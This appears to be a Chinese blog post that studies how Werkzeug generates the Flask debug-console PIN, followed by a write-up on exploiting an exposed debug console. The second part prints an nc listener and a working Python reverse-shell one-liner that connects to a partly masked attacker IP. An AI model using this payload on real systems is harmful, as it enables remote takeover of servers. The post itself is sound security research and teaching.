Flask debug 模式 PIN 码生成机制安全性研究笔记

0x00 前言

前几天我整理了一个笔记:Flask开启debug模式等于给黑客留了后门,就Flask在生产网络中开启debug模式可能产生的安全问题做了一个简要的分析。其中有一个比较严重的安全问题是,可以在交互式Python shell中执行自定义Python代码。就这一点来讲,在旧版本的Flask中是不需要输入PIN码认证就可以执行代码,其危害不言而喻。

在新版本的Flask中需要输入PIN码进行认证,才能执行自定义代码,于攻击者来说,这显然有点鸡肋了。

而后,偶然中发现,在同一台机器上,多次重启Flask服务,PIN码值不改变。也就是说PIN码是一个固定值,这极大的引起的我的兴趣。

于是,笔者就PIN码的生成机制做了一些学习研究,便有了本文。

0x01 基础环境

Windows 7 x64

Python 2.7.14

Flask 0.12.2

pdb

0x02 PIN 码生成流程分析

最开始在是在周会上,几位大佬就PIN码可能的生成方式发表了自己的看法。会后 @Royal.师傅 指出了PIN码生成的关键函数,提点了我一发。

奈何静态分析起来有些吃力,要是能有个工具可以在程序执行时,对其下断点,一步一步的跟踪,那还是极好的。 后来向ph师傅@周佩雨 请教后,其向我推荐了pdb,简单理解pdb就是一个调试Python用的调试器(墙裂推荐!玩出了二进制安全的快感!2333)。

so,在分析Flask程序执行流程,直到定位到PIN码生成函数这段过程,都会大量依赖pdb,来梳理函数间的调用关系。

示例代码依旧使用上一篇文章中的测试代码:

# -*- coding: utf-8 -*-
import pdb
from flask import Flask
app = Flask(__name__) @app.route("/")
def hello():
   return Hello if __name__ == "__main__":
   pdb.set_trace()
   app.run(host="127.0.0.1", port=80, debug=True)

值得注意的是,我在第1行import pdb,第11行pdb.set_trace(),就是在app.run()函数前下断点。关于pdb的常用命令,不需要再去其他博文中补充知识。用到哪个,我都会简单介绍下。

第1步:启动该Flask应用(其会在app.run()函数前断掉)

第2步:使用s命令,进入app.run()函数中(C:\Python27\Lib\site-packages\flask\app.py   第782-846行),多次输入n命令(执行下一行),抵达第841行的run_simple()函数

按s命令,进入run_simple()函数。多次执行n命令,抵达C:\Python27\Lib\site-packages\werkzeug\serving.py 第736行,创建DebuggedApplication对象的位置(即创建对象的过程会执行DebuggedApplication类的__init__构造方法)。

按s命令,步入DebuggedApplication类的实现代码(C:\Python27\Lib\site-packages\werkzeug\debug\__init__.py 第199-468行)中:

根据文件名称、类名称等可以推断出,这部分中就会有生成PIN码的关键代码。

顺便提一句,

Flask is a microframework for Python based on Werkzeug, Jinja 2 and good intentions.

Flask是基于Werkzeug和Jinja 2的Web框架。研究Flask的PIN码生成机制,就是研究Werkzeug的PIN码生成机制。

继续向下跟,第251行和第262行之间

有一个判断操作,如果PIN启用的话,及self.pin存在值,则会通过_log()函数,将PIN码打印到终端。

ok,那我们现在只要在程序执行到if self.pin is None:时。进入self.pin,查看其实现方式即可(这里用到了Property的概念,简单理解在Python的类中,针对类中的成员变量,提供了Property,方便定义get和set方法,方便对该变量取值和赋值。详细内容可以在参考链接中查看)。

第266行,通过get_pin_and_cookie_name()函数对PIN码进行赋值

继续跟进get_pin_and_cookie_name()函数(第115-196行),重头戏来了!

在这个函数中,前几行定义了pin、rv、num 3个变量值为None(在调试器中使用【pp 变量名】即可查看变量值)。其中根据函数的返回值,rv的值就是我们要重点关注的PIN码,在这个函数的执行流程中,需要重点关注rv变量的赋值。

由于PIN的值为None,so第108-137行两个if判断均不会执行,继续向下走。

modname变量被赋值为“flask.app

继续向下执行,在第145行username = getpass.getuser(),username变量被赋值为“当前登录服务器的用户名”。向下执行,mod被赋值为

继续向下执行,第151-168行,是生成PIN码的储备阶段,对多个变量进行了赋值。

下图为各变量此时的值

通过h.hexdigest()函数可以获得h的MD5值(后面会用到)。

根据上图的执行流程,先来看下169-174行的for循环,循环次数即为前面那一坨变量值得数量,共6次。

第1次循环,将“当前机器用户名”的MD5形式存入h变量中。

第2次循环,将“当前机器用户名”+flask.app的MD5形式存入h变量中。

...

第6次循环,将以上6个值的MD5形式存入h变量中

第175、182行将两个固定的字符串加入其中。变量num的值为MD5值16进制的前9位,经过187-194行代码处理,以111-222-333形式输出。

0x03 PIN 码的生成流程安全么?

通过0x02小结,现在已经摸清了PIN码的生成流程。我们可以知道PIN码的值由【当前计算机用户名:XXX】、【flask.app】、【Flask】、【C:\\Python27\\lib\\site-packages\\flask\\app.pyc】、【str(uuid.getnode())】、【get_machine_id()】组合获得,缺一不可。

flask.app】、【Flask】已知。

绝对路径可以由debug页面的报错信息获得,【C:\\Python27\\lib\\site-packages\\flask\\app.pyc】也能拿到。

现在的问题是,如何获得【当前计算机用户名:XXX】、【str(uuid.getnode())】、【get_machine_id()】3个变量的值。

先来看下Flask自动义的get_machine_id()函数(C:\Python27\Lib\site-packages\werkzeug\debug\__init__.py 第51-101行)

返回值rv由内部的_generate()函数获得。

根据第60-65行,可以看到,

若/etc/machine-id,/proc/sys/kernel/random/boot_id文件存在,则返回文件中的值。看到这里就知道,想要预测这个值,那是没戏了。

因为我的测试机用的Windows,看一下对Windows这块是怎么实现的。

欢笑中打出GG。至于获取【当前计算机用户名:XXX】、【str(uuid.getnode())】的实现代码,我这里就不做过多的分析了。

0x04 后记

通过这次分析,可以学习到Flask的开发人员在实现PIN生成机制的过程中还是非常严谨的。至少我这里没有办法预测出指定机器的PIN码。

文章记录了我这次分析的过程,虽然没有找到预测PIN码的方法,但是学习到了Flask的PIN码生成机制,以及通过pdb调试代码。也算是一种收获吧。

当然,如果对这方面有兴趣的同学,恰好看到了我的这篇文章,希望你也能有所收获。同时,如有谬误,还请不吝赐教。

之后的话,我可能还会看下有没有绕过PIN码直接调用Python shell的方式、或者其他的安全问题。

随着Python的广泛应用,在机器学习、Web开发方面可以越来越多的看到Python的身影,Python相关的安全问题也越来越重要。我这里抛砖引玉,记录一下我的学习过程,期待各位大佬投入到相关安全问题的挖掘中来(可能很多人已经在做了),同时可以分享自己的研究成果。期待ing

Flask在生产环境中开启debug模式是一件非常危险的事,主要有3点原因:

1、会泄露当前报错页面的源码,可供审计挖掘其他漏洞

2、会泄露Web应用的绝对路径,及Python解释器的路径(可以配合写文件漏洞向指定目录的文件内写入构造好的恶意代码,利用方式可以参考安全客的这篇文章:文件解压之过 Python中的代码执行

3、debug页面中包含Python的交互式shell,可以执行任意Python代码

漏洞分析

由于最近在搞站的时候有幸遇到了这个漏洞,便想着将相关的知识点整理一下,方便之后查阅。当然我们不可能在生产环境中去研究这个漏洞怎么利用,而是要通过搭建实验环境做进一步的分析,于是便有了本文。

搭建实验环境

第1步:下载Flask框架

pip install flask

第2步:写一个最简单的基于Flask的Web应用,并开启调试模式

from flask import Flask

app = Flask(__name__)

@app.route("/")
def hello():
return Hello if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)

这是一个存在错误的代码,第7行中函数返回值未定义。

第3步:假装部署到生产环境中,等待着被黑客攻击2333

python hello.py

经过如上3个步骤,实验环境搭建完毕。

漏洞利用

由于该网站的后端代码存在语法错误,在网站运行过程中,我们只要访问这个网站的根目录,就会执行hello()函数,由于其返回值未定义,存在语法问题,故抛出500错误,进入debug页面。

接下来就说一说,如何利用这个debug页面。

通过栈回溯信息可以看到,Python解释器及相关第三方模块的路径。

Web应用路径,以及当前报错页面源码。

当然,这些并不是本篇文章的重点,接下来我将重点说下debug页面中包含的Python交互式shell,以及利用这个交互式shell我们应该执行哪些代码。

在本次的测试环境中,要进入这个Python shell需要输入一个PIN码,当时偶遇这个漏洞的时候,目标站点是不需要属于PIN码的(可能是Flask的版本原因,具体原因暂未考证。目测这个PIN码是可以爆破的,之后有时间的话会研究下具体的实现方式)。

由于当时遇到的是Linux系统,为了复盘漏洞现场,便把实验代码移植到Linux系统运行(前面相应的截图在这里就不做替换了,内容比较简单,不影响阅读)。

通过Python代码反弹shell

最初我的想法是直接利用这个交互式shell,导入os模块,执行系统命令。当我执行ls命令,试图让其返回当前目录下的文件列表时,奈何只返回了一个数字0。竟然没有返回值!所以只能说是shell,还够不上交互。

我输入的代码os.system('ls')只返回了一个数字0,通过os.system()调用nc反弹shell也不能成功。走到这里,我是有一个疑问的,我输入的python代码是否成功执行?是不是因为设置了Python沙盒,禁用了某些函数。

由于获取不到返回内容,并不能确定python代码是否成功执行,也不能确定当前权限哪些系统命令可以执行,哪些不能执行。当然,靠猜的话,那就没啥意思了,万事都要讲究个逻辑。

便想着curl下自己的站点,观察访问日志(如果最后shell反弹不成功的话,通过这种方式也可以获取到命令执行的返回值)。

由此可见,os.system()函数没有被禁用,至于为什么通过nc反弹不会来shell,那就应该从其他点再进行排查了。

反反复复,由于时间关系,中间过程遇到的一些小问题暂且不表,最后通过如下命令成功反弹回shell:

Attacker在一台公网的服务器上监听端口

nc -vvlp 1234

在debug页面输入Python代码,反弹shell至Attacker的机器

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("19x.13.xx.254",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

后记

希望对相关内容感兴趣的人偶然看到了本文能有所收获,如果你有更多的利用方式,还请不吝赐教,tks。

0x05  参考链接

Python 代码调试技巧

Flask (A Python Microframework)

Python中的property() 函数 和@property 装饰符

Linux 内核参数详解-KERNEL

Flask debug 模式 PIN 码生成机制安全性研究笔记的更多相关文章

  1. flask debug 模式开启

    debug 模式开启 最近在写python flask 的Waf后台管理界面,想要启用调试模式,发现安装目前网上流行的两种方式均无法在我的Pycharm中打开调试模式. )直接在对象上设置 app.d ...

  2. Kotlin字节码生成机制详尽分析

    通过注解修改Kotlin的class文件名: 对于Kotlin文件在编译之后生成的class文件名默认是有一定规则的,比如: 而其实这个生成字节码的文件名称是可以被改的,之前https://www.c ...

  3. python flask框架学习——开启debug模式

    学习自:知了课堂Python Flask框架——全栈开发 1.flask的几种debug模式的方法 # 1.app.run 传参debug=true app.run(debug=True) #2 设置 ...

  4. flask的debug模式下,网页输入pin码进行调试

    网站后端Python+Flask .FLASK调试模式之开启DEBUG与PIN使用? 自动加载: # 方式一 1 2 if __name__ == '__main__':     app.run(ho ...

  5. Flask第五篇——设置debug模式

    flask默认是没有开启debug模式的,开启debug模式有很多好处: 第一,可以帮助我们查找代码里面的错误,比如: # coding: utf-8 from flask import Flask ...

  6. Flask(6)- debug 模式

    使用 Flask 开发过程中存在两个常见的问题 当 Flask 程序出错时,没有提示错误的详细信息 修改 Flask 源代码后需要重启 Flask 程序 这两个问题非常的影响开发效率,因此 Flask ...

  7. flask学习(四):debug模式

    一. 设置debug模式 1. flask 1.0之前 在app.run()中传入一个关键字参数debug,app.run(debug=True),就设置当前项目为debug模式 2. flask 1 ...

  8. 设置Eclipse可以Debug模式调试JDK源码,并显示局部变量的值

    最近突然萌发了研究JDK源码的想法,所以就想到了在自己常用的Eclipse上可以调试JDK源码. 整个设置过程也很简单: 首先你要安装好JDK(我的JDK安装路径根目录是D:\Java\jdk-8u9 ...

  9. Eclipse开发环境debug模式调试断点从jar跳到源码

    Eclipse开发环境debug模式调试断点从jar跳到源码 说明:本案例使用jsch-0.1.54.jar和源码做test,项目分成两个,一个是jsch的源码,另一个是测试案例 一.下载JSch.的 ...

随机推荐

  1. 分组卷积+squeezenet+mobilenet+shufflenet的参数及运算量计算

    来一发普通的二维卷积 1.输入feature map的格式为:m * m * h1 2.卷积核为 k * k 3.输出feature map的格式为: n * n * h2 参数量:k * k * h ...

  2. js 高级程序设计 第三章学习笔记——Number数据类型需要注意的事项

    1.浮点数值 虽然小数点前面可以没有整数,但是并不推荐这种写法. 由于保存浮点数值需要的内存空间是保存整数值的两倍,因此ECMAScript会不失时机地将浮点数值转化为整数数值.显然,如果小数点后面没 ...

  3. KMP --关于cogs1570 乌力波

    题目链接:http://cogs.pro:8081/cogs/problem/problem.php?pid=vQzXJkgWa [题目描述] 法国作家乔治·佩雷克(Georges Perec,193 ...

  4. 【miscellaneous】软件加密方法

    原文:http://www.jiamisoft.com/blog/3471-ruanjianjiamifangfa.html 软件行业的加密是软件厂商为了保护软件开发的利润而采取的一种软件保护方式.当 ...

  5. java_guide_类加载器

    类加载器总结 JVM 中内置了三个重要的 ClassLoader,除了 BootstrapClassLoader 其他类加载器均由 Java 实现且全部继承自java.lang.ClassLoader ...

  6. 41.进程池--Pool

    进程池 方便创建,管理进程,单独进程的Process创建,需要手动开启,维护任务函数,以及释放回收 进程池不需要这么麻烦,进程提前创建好,未来在使用的时候,可以直接给与任务函数 某个进程池中的任务结束 ...

  7. ubuntu/debian将sh改为bash

    1.  查看现在环境 可以看到,现在的默认环境是sh.我们想把它变为bash,可以这样做: 2. 运行sudo dpkg-reconfigure dash,出现以下画面: 这里提示我们是否要用默认的s ...

  8. 粒子群优化算法(PSO)的基本概念

    介绍了PSO基本概念,以及和遗传算法的区别: 粒子群算法(PSO)Matlab实现(两种解法)

  9. 《你必须知道的495个C语言问题》读书笔记之第8-10章:字符串、布尔类型和预处理器

    一.字符和字符串 1. Q:为什么strcat(string, '!')不行? A:strcat()用于拼接字符串,所以应该写成strcat(string, "!")." ...

  10. 小菜鸟之liunx

    目录 第一章:Linux简介 1 Linux特点 1 CentOS 1 第二章:Linux安装 2 Linux目录结构 2 第三章:Linux常用命令 2 Linux命令的分类 3 操作文件或目录常用 ...